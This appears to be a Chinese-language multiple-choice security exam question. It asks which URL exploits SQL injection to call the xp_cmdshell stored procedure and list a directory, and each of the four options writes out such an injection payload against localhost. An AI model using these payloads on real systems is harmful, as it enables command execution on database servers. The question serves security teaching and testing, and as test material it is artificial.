以下哪条命令能利用“SQL注入”漏洞动用XP_cmdshell存储过程，获得某个子目的清单？（）

• A、http：//localhost/script？’：EXEC+master..XP_cmdshell+’dir’：--
• B、http：//localhost/script？1’：EXEC+master..XP_cmdshell+’dir’：--
• C、http：//localhost/script？0’：EXEC+master..XP_cmdshell+’dir’：--
• D、http：//localhost/script？1’：EXEC+master..XP_cmdshell+’dir’--